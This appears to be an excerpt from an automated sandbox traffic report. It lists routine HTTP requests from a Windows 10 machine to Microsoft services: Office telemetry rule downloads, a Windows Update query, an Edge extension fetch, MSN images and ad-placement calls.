Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=OMKvArmyZ1p9r2P&MD=6MrcWd3R HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732992769&P2=404&P3=2&P4=UQF5dRRn5gKpKtowPNHnuBJhpAPDAzheFNS05p0wTv5Jj9R%2fwv0Enicv0TJTzAMAR4dmyOdcPW8O4WJqipcR0A%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: tI7/OnYQ7Cyo5ZBII329A4Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T185323Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=9c028f9efb604d3eb916dff9a2eb0a79&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598355&metered=false&nettype=ethernet&npid=sc-338389&oemName=jqumta%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=jqumta20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598355&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVML5NBX5yFRq5mcK3NbYUCsh5TFa+v5IN1XJd+u2UJxckxlo16DWeoSgyj0wgVwXaYZeLHdNB5Kbxfgs3hw3Q0xHlwupXZIgt0xNa+FHs8w3r9VHk3aV9tCqgd1jYFsozRSTR903eAleBlEl2YOFl9YzTmuEUi8iQYRCBgy2ei0WVsW7VkzW7jfn9xn1RkHiefcmqCMuHdHuwF94YVCMiWkZ6p1mfgJASkcjTFfvVk18iyE3D9dsqhe7er6fw+QElQKCHu8ij4DSuGFln4i+gfq0iflGsg70j92xdo4CoMr4uiOiXKSyx634fr0qbWIdrHayJPi+EEofBJsibhB5zYQZgAAENjrRDee3qR4LBvPiqZNkrawAUbp/pca9AgLPrCg9vz83L6Lxzoc/SoqfaT71YKxQk0cVpHshFQagQ4nAHXTRgTPMXGurthZE+zBNhgesGvh00zxoB447y4jVipHRXq+SJsuldiNYD5Yyro0A8bCT5zH59hqeja3TiTzVfUCaP1PQewCY1oPu3m2/g2RWTIM/U3CMkbq2l/Zi51JUGQ24ItmaTJWlvWBaxQXx/PcFoHn18I0aVp269ft5gB977Pnj6U6Pu41jzVxAVpiWEImcsFbKGX/yv7dHdkQ3i/iI7gjpDoE7uHUmFY0PwzlVOIMb6DVBSQ+RVKnIWgz4v467ZzmIuGBQmFLxb3DQP0+ojqlTy5+XxBM7I/la+jZ0Fj3GgWFFrL1DJyzVVbGKCiHtZzAmd2Kp+cXi/v9RojqyftCkG9y3UFcJOpLK+E3hvQVKY0arCIpEsn979yIugln/O7di7vmfuROsdAKdkKmquCMwYMi3yayTL2pH4YjrSeJ/FQr8K4G0iwPoagNO+gEtv2AuVSPkAIsCa0U3ZIZ7rSwsmFc+nGGlMTwEzgSOpqnazgbvuHJIZ7KI4KmB3bsKO/kINcB&p=Cache-Control: no-cacheMS-CV: 3faKLROA3US1lDUU.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T185323Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=de2468355bfd457b9fb3389e92d67f1f&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598355&metered=false&nettype=ethernet&npid=sc-310091&oemName=jqumta%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=jqumta20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598355&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVML5NBX5yFRq5mcK3NbYUCsh5TFa+v5IN1XJd+u2UJxckxlo16DWeoSgyj0wgVwXaYZeLHdNB5Kbxfgs3hw3Q0xHlwupXZIgt0xNa+FHs8w3r9VHk3aV9tCqgd1jYFsozRSTR903eAleBlEl2YOFl9YzTmuEUi8iQYRCBgy2ei0WVsW7VkzW7jfn9xn1RkHiefcmqCMuHdHuwF94YVCMiWkZ6p1mfgJASkcjTFfvVk18iyE3D9dsqhe7er6fw+QElQKCHu8ij4DSuGFln4i+gfq0iflGsg70j92xdo4CoMr4uiOiXKSyx634fr0qbWIdrHayJPi+EEofBJsibhB5zYQZgAAENjrRDee3qR4LBvPiqZNkrawAUbp/pca9AgLPrCg9vz83L6Lxzoc/SoqfaT71YKxQk0cVpHshFQagQ4nAHXTRgTPMXGurthZE+zBNhgesGvh00zxoB447y4jVipHRXq+SJsuldiNYD5Yyro0A8bCT5zH59hqeja3TiTzVfUCaP1PQewCY1oPu3m2/g2RWTIM/U3CMkbq2l/Zi51JUGQ24ItmaTJWlvWBaxQXx/PcFoHn18I0aVp269ft5gB977Pnj6U6Pu41jzVxAVpiWEImcsFbKGX/yv7dHdkQ3i/iI7gjpDoE7uHUmFY0PwzlVOIMb6DVBSQ+RVKnIWgz4v467ZzmIuGBQmFLxb3DQP0+ojqlTy5+XxBM7I/la+jZ0Fj3GgWFFrL1DJyzVVbGKCiHtZzAmd2Kp+cXi/v9RojqyftCkG9y3UFcJOpLK+E3hvQVKY0arCIpEsn979yIugln/O7di7vmfuROsdAKdkKmquCMwYMi3yayTL2pH4YjrSeJ/FQr8K4G0iwPoagNO+gEtv2AuVSPkAIsCa0U3ZIZ7rSwsmFc+nGGlMTwEzgSOpqnazgbvuHJIZ7KI4KmB3bsKO/kINcB&p=Cache-Control: no-cacheMS-CV: 3faKLROA3US1lDUU.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
